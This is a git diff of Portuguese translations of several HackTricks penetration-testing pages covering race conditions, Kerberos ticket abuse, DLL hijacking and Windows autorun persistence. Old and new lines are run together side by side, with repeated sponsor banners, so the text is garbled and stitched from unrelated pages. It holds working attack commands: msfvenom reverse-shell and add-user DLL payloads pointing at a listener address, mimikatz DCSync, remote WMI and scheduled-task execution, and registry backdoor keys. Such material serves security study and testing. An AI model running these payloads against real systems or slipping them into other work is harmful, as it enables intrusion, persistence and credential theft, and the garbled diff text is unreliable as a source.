Servidores da web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado no lado do servidor. Isso torna o ataque de um único pacote viável, mesmo quando a execução atrasada é necessária. Servidores da web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado no lado do servidor. Isso torna o ataque de um único pacote viável mesmo quando a execução atrasada é necessária.
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você pode **adicionar solicitações extras entre** ambas as solicitações. * Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você pode **adicionar solicitações extras entre** ambas as solicitações.
* Para um RC de **vários endpoints**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e, em seguida, **50 solicitações** logo após isso que **exploram o estado oculto**. * Para um RC de **vários endpoints**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e, em seguida, **50 solicitações** logo após isso que **exploram o estado oculto**.
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF ### Raw BF
@ -165,31 +165,17 @@ table.add(req)
``` ```
* **Python - asyncio** * **Python - asyncio**
A biblioteca `asyncio` do Python é uma biblioteca assíncrona que permite escrever código concorrente usando a sintaxe `async/await`. Ela é especialmente útil para lidar com operações de I/O não bloqueantes, como chamadas de rede, acesso a banco de dados e leitura/gravação de arquivos. A biblioteca `asyncio` do Python fornece suporte para programação assíncrona, permitindo que você escreva código concorrente e escalável de forma mais eficiente. Com `asyncio`, você pode lidar com tarefas assíncronas, como chamadas de rede, de forma mais eficiente, evitando bloqueios desnecessários.
A principal vantagem do `asyncio` é que ele permite que várias tarefas sejam executadas simultaneamente, sem bloquear a execução do programa. Isso é particularmente útil em situações em que é necessário lidar com muitas operações de I/O, pois permite que o programa continue executando outras tarefas enquanto aguarda a conclusão das operações de I/O. A programação assíncrona é particularmente útil ao lidar com condições de corrida em aplicativos da web. Uma condição de corrida ocorre quando duas ou mais operações concorrentes tentam acessar ou modificar um recurso compartilhado ao mesmo tempo, resultando em comportamento imprevisível ou incorreto.
Para usar o `asyncio`, é necessário definir funções assíncronas usando a palavra-chave `async` e usar a palavra-chave `await` para aguardar a conclusão de operações assíncronas. Além disso, é necessário criar um loop de eventos usando `asyncio.get_event_loop()` e executar o loop usando `loop.run_until_complete()`. Ao usar `asyncio`, você pode evitar condições de corrida implementando mecanismos de sincronização adequados, como semáforos ou bloqueios. Esses mecanismos garantem que apenas uma tarefa possa acessar o recurso compartilhado em um determinado momento, evitando assim conflitos.
Aqui está um exemplo básico de como usar o `asyncio`: Para lidar com condições de corrida em aplicativos da web, é importante identificar os pontos críticos onde as operações concorrentes podem ocorrer. Em seguida, você pode usar as primitivas de sincronização do `asyncio` para garantir que essas operações sejam executadas de forma segura e correta.
```python Ao escrever código assíncrono com `asyncio`, é importante ter em mente a natureza concorrente das operações. Certifique-se de que seu código seja thread-safe e evite compartilhar dados mutáveis entre tarefas, a menos que seja absolutamente necessário.
import asyncio
async def minha_tarefa(): Com a biblioteca `asyncio`, você pode aproveitar ao máximo a programação assíncrona em Python, lidando de forma eficiente com condições de corrida em aplicativos da web.
# Realizar operações assíncronas aqui
await asyncio.sleep(1)
print("Tarefa concluída")
loop = asyncio.get_event_loop()
loop.run_until_complete(minha_tarefa())
```
Neste exemplo, a função `minha_tarefa()` é uma função assíncrona que aguarda 1 segundo usando `await asyncio.sleep(1)` e, em seguida, imprime "Tarefa concluída". O loop de eventos é criado usando `asyncio.get_event_loop()` e a tarefa é executada usando `loop.run_until_complete()`.
O `asyncio` também oferece suporte a outras funcionalidades, como semáforos, filas e tarefas agendadas, que podem ser úteis ao lidar com problemas de concorrência mais complexos.
Em resumo, o `asyncio` é uma biblioteca poderosa para lidar com programação assíncrona em Python, permitindo que várias tarefas sejam executadas simultaneamente e melhorando o desempenho ao lidar com operações de I/O não bloqueantes.
```python ```python
import asyncio import asyncio
import httpx import httpx
@ -243,7 +229,7 @@ Podemos usar três perguntas-chave para descartar pontos finais que provavelment
* **Como o estado é armazenado?** * **Como o estado é armazenado?**
Dados armazenados em uma estrutura de dados persistente do lado do servidor são ideais para exploração. Alguns pontos finais armazenam seu estado inteiramente do lado do cliente, como redefinições de senha que funcionam enviando um JWT por e-mail - esses podem ser ignorados com segurança. Dados armazenados em uma estrutura de dados persistente do lado do servidor são ideais para exploração. Alguns pontos finais armazenam seu estado inteiramente no lado do cliente, como redefinições de senha que funcionam enviando um JWT por e-mail - esses podem ser ignorados com segurança.
As aplicações costumam armazenar algum estado na sessão do usuário. Esses são frequentemente um pouco protegidos contra subestados - mais sobre isso depois. As aplicações costumam armazenar algum estado na sessão do usuário. Esses são frequentemente um pouco protegidos contra subestados - mais sobre isso depois.
@ -342,10 +328,10 @@ Depois de **obter um RT válido**, você pode tentar **abusar dele para gerar v
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,9 +12,9 @@
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -112,7 +112,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
``` ```
### HOST + RPCSS ### HOST + RPCSS
Com esses tickets, você pode **executar o WMI no sistema da vítima**: Com esses tickets você pode **executar o WMI no sistema da vítima**:
```bash ```bash
#Check you have enough privileges #Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -134,7 +134,7 @@ Com acesso winrm a um computador, você pode acessá-lo e até mesmo obter um Po
```bash ```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
``` ```
Verifique a seguinte página para aprender **mais maneiras de se conectar a um host remoto usando winrm**: Consulte a seguinte página para aprender **mais maneiras de se conectar a um host remoto usando winrm**:
{% content-ref url="../ntlm/winrm.md" %} {% content-ref url="../ntlm/winrm.md" %}
[winrm.md](../ntlm/winrm.md) [winrm.md](../ntlm/winrm.md)
@ -156,7 +156,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md) [dcsync.md](dcsync.md)
{% endcontent-ref %} {% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -12,7 +12,7 @@
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_). Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
@ -120,8 +120,8 @@ Outras ferramentas automatizadas interessantes para descobrir essa vulnerabilida
### Exemplo ### Exemplo
Caso você encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso seria **criar uma dll que exporte pelo menos todas as funções que o executável importará dela**. De qualquer forma, observe que o Dll Hijacking é útil para [elevar do nível de integridade Médio para Alto **(burlando o UAC)**](../authentication-credentials-uac-and-efs.md#uac) ou de **Alto para SYSTEM**. Você pode encontrar um exemplo de **como criar uma dll válida** neste estudo de hijacking de dll focado em hijacking de dll para execução: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ Caso você encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso seria **criar uma dll que exporte pelo menos todas as funções que o executável importará dela**. De qualquer forma, observe que o Dll Hijacking é útil para [elevar do nível de integridade Médio para Alto **(burlando o UAC)**](../authentication-credentials-uac-and-efs.md#uac) ou de [**Alto para SYSTEM**](./#from-high-integrity-to-system)**.** Você pode encontrar um exemplo de **como criar uma dll válida** dentro deste estudo de dll hijacking focado em dll hijacking para execução: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Além disso, na **próxima seção**, você pode encontrar alguns **códigos básicos de dll** que podem ser úteis como **modelos** ou para criar uma **dll com funções não obrigatórias exportadas**. Além disso, na **próxima seção** você pode encontrar alguns **códigos básicos de dll** que podem ser úteis como **modelos** ou para criar uma **dll com funções não obrigatórias exportadas**.
## **Criando e compilando Dlls** ## **Criando e compilando Dlls**
@ -129,7 +129,7 @@ Além disso, na **próxima seção**, você pode encontrar alguns **códigos bá
Basicamente, um **proxy de Dll** é uma Dll capaz de **executar seu código malicioso quando carregada**, mas também de **expor** e **funcionar** como **esperado**, **repassando todas as chamadas para a biblioteca real**. Basicamente, um **proxy de Dll** é uma Dll capaz de **executar seu código malicioso quando carregada**, mas também de **expor** e **funcionar** como **esperado**, **repassando todas as chamadas para a biblioteca real**.
Com a ferramenta \*\*\*\* [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) \*\*\*\* ou \*\*\*\* [**Spartacus**](https://github.com/Accenture/Spartacus) \*\*\*\*, você pode realmente **indicar um executável e selecionar a biblioteca** que deseja proxificar e **gerar uma dll proxificada** ou **indicar a Dll** e **gerar uma dll proxificada**. Com a ferramenta \*\*\*\* [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) \*\*\*\* ou \*\*\*\* [**Spartacus**](https://github.com/Accenture/Spartacus) \*\*\*\* você pode realmente **indicar um executável e selecionar a biblioteca** que deseja proxificar e **gerar uma dll proxificada** ou **indicar a Dll** e **gerar uma dll proxificada**.
### **Meterpreter** ### **Meterpreter**
@ -141,7 +141,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
``` ```
**Criar um usuário (não encontrei uma versão x64):** **Criar um usuário (x86 Não vi uma versão x64):**
``` ```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
``` ```
@ -228,7 +228,7 @@ break;
return TRUE; return TRUE;
} }
``` ```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -238,7 +238,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -217,7 +217,7 @@ No entanto, você pode criar uma opção de inicialização para não precisar p
4. Salve o arquivo. 4. Salve o arquivo.
5. Reaplique as permissões corretas (attrib c:\boot.ini +r +s +h). 5. Reaplique as permissões corretas (attrib c:\boot.ini +r +s +h).
Informações da [qui](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell). Informações obtidas [aqui](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
{% hint style="info" %} {% hint style="info" %}
**Exploit 1:** Se você puder modificar essa chave do registro, poderá apontar sua backdoor. **Exploit 1:** Se você puder modificar essa chave do registro, poderá apontar sua backdoor.
@ -312,19 +312,11 @@ Quando um programa é executado no Windows, o sistema operacional verifica se ex
#### Explorando as Opções de Execução de Arquivos de Imagem #### Explorando as Opções de Execução de Arquivos de Imagem
Para explorar essa vulnerabilidade, um invasor pode adicionar uma entrada nas Opções de Execução de Arquivos de Imagem para um executável privilegiado, como o Prompt de Comando (cmd.exe). Dessa forma, sempre que o Prompt de Comando for iniciado, o programa especificado nas opções será executado em seu lugar. Para explorar essa vulnerabilidade, um invasor pode adicionar uma entrada nas Opções de Execução de Arquivos de Imagem para um executável privilegiado, como o Prompt de Comando (cmd.exe). Dessa forma, toda vez que o Prompt de Comando for iniciado, o programa especificado nas opções será executado com privilégios elevados.
#### Escalando privilégios com as Opções de Execução de Arquivos de Imagem
Ao adicionar uma entrada nas Opções de Execução de Arquivos de Imagem para um programa com privilégios elevados, um invasor pode executar um programa malicioso com os mesmos privilégios. Isso pode permitir que o invasor execute comandos com privilégios de administrador, comprometendo completamente o sistema.
#### Prevenção #### Prevenção
Para mitigar esse tipo de ataque, é recomendado restringir o acesso às Opções de Execução de Arquivos de Imagem. Isso pode ser feito por meio de políticas de segurança do Windows ou por meio de ferramentas de terceiros que monitoram e bloqueiam alterações nas Opções de Execução de Arquivos de Imagem. Para evitar a exploração das Opções de Execução de Arquivos de Imagem, é recomendado que os administradores do sistema restrinjam o acesso ao registro do Windows, onde essas opções são armazenadas. Além disso, é importante manter o sistema operacional e os aplicativos atualizados para corrigir quaisquer vulnerabilidades conhecidas.
#### Conclusão
As Opções de Execução de Arquivos de Imagem podem ser uma vulnerabilidade de segurança se não forem adequadamente protegidas. É importante implementar medidas de segurança para evitar a exploração dessa funcionalidade e garantir a integridade do sistema.
``` ```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
@ -345,7 +337,7 @@ Encontre mais Autoruns como registros em [https://www.microsoftpressstore.com/ar
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/) * [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2) * [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).